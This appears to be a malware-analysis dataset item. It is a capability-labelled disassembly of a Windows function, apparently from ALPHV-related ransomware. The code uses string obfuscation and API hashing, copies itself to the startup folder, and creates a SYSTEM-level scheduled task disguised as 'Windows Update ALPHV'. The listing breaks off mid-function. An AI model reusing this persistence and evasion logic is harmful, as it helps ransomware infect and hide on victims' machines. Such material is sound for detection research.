Function at 0x140046cc0
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Get common file path
Get startup folder
Schedule task via schtasks
Terminate process
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xa70]
sub rsp, 0xb70
mov rax, qword [0x1400d9080]
xor rax, rsp
mov qword [rbp + 0xa20], rax
lea rax, [rbp - 0x68]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rax
mov dword [rsp + 0x30], 0x77c20b
call fcn.1400072d0
test eax, eax
je 0x1400486b3
mov dword [rsp + 0x30], 0x77c20b
call fcn.140001420
mov dword [rsp + 0x30], 0x77c20b
call fcn.140045f10
cmp dword [0x1400dd208], r15d
jne 0x1400474ed
movsd xmm0, qword [0x1400ca418]
movaps xmmword [rsp + 0xb60], xmm6
movaps xmmword [rsp + 0xb50], xmm7
movaps xmmword [rsp + 0xb40], xmm8
movaps xmmword [rsp + 0xb30], xmm9
movsd xmm9, qword [0x1400ca118]
movaps xmm1, xmm9
mov byte [rsp + 0x38], r15b
call fcn.1400aa450
movsd xmm8, qword [0x1400ca120]
mov eax, 0x81020409
movsd xmm7, qword [0x1400ca2b0]
movaps xmm1, xmm9
movsd xmm6, qword [0x1400ca230]
mulsd xmm0, xmm8
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si r14d, xmm0
movsd xmm0, qword [0x1400ca470]
imul r14d
add edx, r14d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r14d, eax
mov eax, 0x81020409
add r14d, 0x7f
imul r14d
add edx, r14d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r14d, eax
mov byte [rsp + 0x39], r14b
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca408]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x3a], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
movsd xmm0, qword [0x1400ca428]
movaps xmm1, xmm9
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x3b], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si esi, xmm0
movsd xmm0, qword [0x1400ca480]
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub esi, eax
mov eax, 0x81020409
add esi, 0x7f
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub esi, eax
mov byte [rsp + 0x3c], sil
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si edi, xmm0
movsd xmm0, qword [0x1400ca430]
imul edi
add edx, edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub edi, eax
mov eax, 0x81020409
add edi, 0x7f
imul edi
add edx, edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub edi, eax
mov byte [rsp + 0x3d], dil
mov byte [rsp + 0x3e], dil
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
movsd xmm0, qword [0x1400ca4a8]
mov eax, 0x81020409
imul ecx
movaps xmm1, xmm9
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], sil
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca438]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x41], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca450]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x42], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ebx, xmm0
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ebx, eax
movsd xmm0, qword [0x1400ca460]
add ebx, 0x7f
mov eax, 0x81020409
movaps xmm1, xmm9
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ebx, eax
mov byte [rsp + 0x43], bl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca270]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x44], cl
mov byte [rsp + 0x45], dil
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si edi, xmm0
movsd xmm0, qword [0x1400ca2a0]
imul edi
add edx, edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub edi, eax
mov eax, 0x81020409
add edi, 0x7f
imul edi
add edx, edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub edi, eax
mov byte [rsp + 0x46], dil
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
movsd xmm0, qword [0x1400ca3e0]
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
movaps xmm1, xmm9
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x47], cl
mov byte [rsp + 0x48], bl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca298]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x49], cl
mov byte [rsp + 0x4a], sil
mov byte [rsp + 0x4b], r14b
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca268]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x4c], cl
mov byte [rsp + 0x4d], dil
mov byte [rsp + 0x4e], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
imul ecx
add edx, ecx
movsd xmm0, qword [0x1400ca2a8]
movaps xmm1, xmm9
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x4f], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
movsd xmm0, qword [0x1400ca260]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x50], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
movaps xmm1, xmm9
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
xorps xmm0, xmm0
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x51], cl
call fcn.1400aa450
mulsd xmm0, xmm8
mov eax, 0x81020409
addsd xmm0, xmm7
addsd xmm0, xmm6
cvttsd2si ecx, xmm0
imul ecx
add edx, ecx
movaps xmm9, xmmword [rsp + 0xb30]
movaps xmm8, xmmword [rsp + 0xb40]
movaps xmm7, xmmword [rsp + 0xb50]
movaps xmm6, xmmword [rsp + 0xb60]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + 0x52], cl
movzx eax, byte [rsp + 0x39]
mov dword [rsp + 0x30], 0x61
mov eax, dword [rsp + 0x30]
add eax, 0x2a
mov dword [rsp + 0x30], eax
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x1400474a0
mov r8d, r15d
nop dword [rax]
movzx ecx, byte [rsp + r8 + 0x39]
mov eax, 0x3a
sub eax, ecx
imul ecx, eax, 0x2a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
movzx edx, cl
cmp dl, 0x64
lea eax, [rdx - 0x2a]
movzx ecx, al
cmovbe ecx, edx
mov byte [rsp + r8 + 0x39], cl
inc r8
cmp r8, 0x1a
jb 0x140047440
mov edx, 0xf
mov byte [rsp + 0x38], 1
mov r8d, 0x20d8fa8c
lea r9d, [rdx + 0x45]
call fcn.14000b050
lea r8, [rsp + 0x39]
mov edx, 1
xor ecx, ecx
call rax
mov edx, 0xf
mov r8d, 0xe0c23134
mov rbx, rax
lea r9d, [rdx + 0x53]
call fcn.14000b050
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
jne 0x1400486b3
call fcn.140042bd0
mov r8d, 0x104
lea rdx, [rbp + 0x200]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14004755c
lea rcx, [rbp + 0x200]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor r9d, r9d
lea rax, [rbp - 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x18]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14004755c
lea rdx, str.7766.exe
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov r8d, 0x104
lea rdx, [rbp + 0x410]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x48]
mov rbx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rbp - 0x48], 1
jle 0x1400475ba
mov rdx, qword [rax + 8]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov r9, rax
lea r8, [rbp + 0x410]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s__s___F
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x1400475d5
lea r8, [rbp + 0x410]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s___F
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [rsp + 0x28], r15d
lea r9, [rbp + 0x620]
lea r8, str.cmd.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140041ad0
cmp dword [0x1400d9cf0], 0xe
mov edx, 0xf
jne 0x140047702
lea rax, [0x1400dd310]
mov qword [0x1400dd310], r15
lea r9d, [rdx + 0x3a]
mov qword [0x1400dd318], rax
mov r8d, 0xddde40d3
mov qword [0x1400dd2d8], 1
mov dword [0x1400dd2e0], r15d
call fcn.14000b050
lea rcx, [0x1400dd2e8]
call rax
mov ecx, 8
call fcn.140085200
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x1400dd2d0], rax
test rax, rax
je 0x1400486b3
cmp qword [0x1400dd2d8], rcx
mov rbx, r15
mov dword [0x1400dd2e0], 1
jbe 0x1400476d9
nop word [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.14000b050
lea r9, [0x1400dd2d0]
mov qword [rsp + 0x28], r15
lea r8, [0x140055600]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400dd2d0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400dd2d8]
jb 0x140047690
lea rdx, [0x1400d9d00]
lea rcx, [rsp + 0x58]
call fcn.14003fbb0
mov rdx, rax
xor ecx, ecx
call fcn.1400558b0
xor ecx, ecx
call fcn.140055a50
xor eax, eax
jmp 0x1400486b8
mov r9d, 0x5a
mov r8d, 0xde1467b1
call fcn.14000b050
lea rcx, [rbp - 0x40]
call rax
movzx r8d, word [rbp - 0x40]
mov eax, 0x55555556
mov dword [rsp + 0x30], 0x76fd16
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047795
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14004775f
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140047892
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14004778c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140047770
jmp 0x140047892
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140047806
add ecx, 2
lea eax, [r8 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140047892
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400477f3
dec eax
jmp 0x1400477f5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400477d0
jmp 0x140047892
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140047892
mov eax, dword [rsp + 0x30]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140047892
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047873
inc eax
jmp 0x140047875
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047850
cmp dword [0x1400d9cf0], 0xa
jne 0x1400478a0
mov esi, dword [rbp - 0x20]
jmp 0x1400478aa
mov eax, dword [rbp - 0x20]
lea esi, [rax*8]
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov r14d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047925
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400478ed
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140047a22
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14004791c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140047900
jmp 0x140047a22
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140047996
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140047a22
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047983
dec eax
jmp 0x140047985
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140047960
jmp 0x140047a22
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140047a22
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140047a22
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047a03
inc eax
jmp 0x140047a05
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400479e0
mov eax, dword [0x1400d9cf0]
add eax, 0xfffffff6
cmp eax, 1
ja 0x140047de2
mov edx, 0xf
mov qword [0x1400dd310], r15
lea rax, [0x1400dd310]
mov qword [0x1400dd2d8], r14
mov r8d, 0xddde40d3
mov qword [0x1400dd318], rax
mov dword [0x1400dd2e0], r15d
lea r9d, [rdx + 0x3a]
call fcn.14000b050
lea rcx, [0x1400dd2e8]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140085200
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1400ac340
mov qword [0x1400dd2d0], rdi
test rdi, rdi
je 0x1400486b3
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047b15
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140047ae4
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140047c12
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140047b0c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140047af0
jmp 0x140047c12
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140047b86
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140047c12
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047b73
dec eax
jmp 0x140047b75
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140047b50
jmp 0x140047c12
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140047c12
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140047c12
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047bf3
inc eax
jmp 0x140047bf5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047bd0
mov rbx, r15
mov dword [0x1400dd2e0], 1
cmp qword [0x1400dd2d8], rbx
jbe 0x140047c79
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.14000b050
lea r9, [0x1400dd2d0]
mov qword [rsp + 0x28], r15
lea r8, [0x140055600]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400dd2d0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400dd2d8]
jb 0x140047c30
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047ce6
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140047cb9
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140047de2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140047cdd
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140047cc1
jmp 0x140047de2
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140047d56
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140047de2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047d43
dec eax
jmp 0x140047d45
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140047d20
jmp 0x140047de2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140047de2
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140047de2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047dc3
inc eax
jmp 0x140047dc5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047da0
mov eax, dword [0x1400d9cf0]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x1400481a2
mov edx, 0xf
mov qword [0x1400dd2c0], r15
lea rax, [0x1400dd2c0]
mov qword [0x1400dd288], r14
mov r8d, 0xddde40d3
mov qword [0x1400dd2c8], rax
mov dword [0x1400dd290], r15d
lea r9d, [rdx + 0x3a]
call fcn.14000b050
lea rcx, [0x1400dd298]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140085200
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1400ac340
mov qword [0x1400dd280], rdi
test rdi, rdi
je 0x1400486b3
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
